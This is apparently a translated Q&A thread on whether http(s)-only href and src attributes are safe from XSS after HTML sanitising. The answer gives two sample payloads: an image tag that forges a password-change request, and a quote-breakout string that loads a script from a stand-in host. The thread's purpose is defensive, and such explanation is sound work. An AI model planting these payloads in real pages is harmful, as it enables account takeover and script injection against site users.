Это безопасно?
Интересно, всегда ли атрибуты href
и src
в тегах <a>
и <img>
безопасны для атак XSS, если они начинаются с http://
или https://
.
Например, можно ли каким-либо образом добавить javascript: ...
к атрибутам href
и src
для выполнения кода?
Игнорирование независимо от того, является ли целевая страница, например, фишинговым сайтом, или <img src=...>
вызывает ужасно неприятный запрос HTTP GET.
Предыстория: Я обрабатываю текст с помощью markdown, а затем я очищаю полученный HTML (используя Jshtmlsanitizer от Google Caja). Некоторый пример кода в Google Caja предполагает, что все href
и src
, которые начинаются с http://
или https://
, безопасны - интересно, безопасно ли использовать этот пример кода.
С уважением,
Кай-Магнус
1 answers
Разрешение только протокола http(s) предотвращает запуск javascript, но они все равно могут быть использованы в вредоносных целях. Рассмотрим следующее:
<img src="http://your.website.com/changepassword.php?newpass=hacked123" />
Разрешение пользователям встраивать контент с внешних веб-сайтов всегда рискованно, но иногда неизбежно. Убедившись, что ваши скрипты хорошо защищены от XSS, подобных приведенному выше, вы сделаете свой сайт более надежным, если не на 100 % защищенным от хакеров.
РЕДАКТИРОВАТЬ: Вот довольно полная шпаргалка XSS, хотя немного постарел. Один важный момент, взятый из шпаргалки, о котором я забыл упомянуть, заключается в том, что вы также должны избегать кавычек и/или знаков >
, чтобы предотвратить такие URL-адреса, как http://legiturl.com"><script src="http://mal.icio.us/attack.js">
.